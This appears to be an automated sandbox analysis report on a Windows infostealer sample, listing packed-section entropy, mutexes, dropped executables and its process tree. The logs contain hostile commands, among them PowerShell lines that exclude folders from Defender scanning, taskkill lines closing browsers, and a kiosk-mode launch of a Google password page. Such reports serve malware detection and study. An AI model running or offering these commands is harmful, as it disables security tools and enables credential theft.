Source: file.exe, 00000000.00000003.2202595484.0000000005EBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201389707.0000000005A72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210110806.0000000005F27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203311419.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203569391.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222723039.00000000059FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2206905916.0000000005F02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201600316.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2208295967.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211211151.000000000605D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201528345.0000000005E16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2205479446.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2209964867.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203815102.0000000005E16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221303159.0000000005E16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2208458157.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216748628.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2208953223.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201671132.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202292876.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203481030.0000000005ED8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211516280.0000000005F4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213844028.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204532023.0000000005EEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2205258995.0000000005EFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212379991.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2207034614.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979617251362398
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: Section: vcnwvfjn ZLIB complexity 0.994822734612462
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9979617251362398
Source: skotes.exe.4.dr	Static PE information: Section: vcnwvfjn ZLIB complexity 0.994822734612462
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: d816f1d41e.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: random[1].exe0.8.dr	Static PE information: Section: yhvanrkb ZLIB complexity 0.994987962613293
Source: f324957d91.exe.8.dr	Static PE information: Section: yhvanrkb ZLIB complexity 0.994987962613293
Source: pdf.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9979495662811388
Source: pdf.exe.9.dr	Static PE information: Section: ZLIB complexity 1.0011935763888888
Source: pdf.exe.9.dr	Static PE information: Section: .data ZLIB complexity 0.9975373178785403
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9979617251362398
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: Section: vcnwvfjn ZLIB complexity 0.994822734612462

Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: f324957d91.exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: Session[1].exe.8.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Session[1].exe.8.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Session.exe.8.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Session.exe.8.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@91/52@80/18

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F7UO7T49UKQNSZTWA8QFF.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1216:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3872:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7488:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Jump to behavior

Source: C:\Lipras\pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Lipras\pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2079309326.0000000005996000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094592954.0000000005996000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094486299.00000000059A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2079667560.0000000005977000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2825884524.0000000005134000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826437875.0000000005115000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2844829723.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3019104104.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2978029117.0000000005B78000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B59000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 36%

Source: X42E6LZ0BD4W2FEYDTB0TDC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe "C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe "C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe"
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe "C:\Users\user\AppData\Local\Temp\1002474001\Session.exe"
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Lipras
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe "C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe "C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe "C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe"
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe "C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2124 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7829afb-268f-4ef2-af60-a12dd001b36d} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d4aa6f710 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002490001\num.exe "C:\Users\user\AppData\Local\Temp\1002490001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4608 -parentBuildID 20230927232528 -prefsHandle 3488 -prefMapHandle 3328 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {04087b54-4cf9-41a7-8d51-39c0080b3bcf} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d5bebe610 rdd
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process created: C:\Lipras\pdf.exe "C:\Lipras\pdf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe "C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe"
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process created: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe "C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe "C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe"
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process created: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe "C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002490001\num.exe "C:\Users\user\AppData\Local\Temp\1002490001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe "C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe "C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe "C:\Users\user\AppData\Local\Temp\1002474001\Session.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe "C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe "C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe "C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002490001\num.exe "C:\Users\user\AppData\Local\Temp\1002490001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Process created: C:\Lipras\pdf.exe "C:\Lipras\pdf.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Lipras
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process created: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe "C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe"
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2124 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7829afb-268f-4ef2-af60-a12dd001b36d} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d4aa6f710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
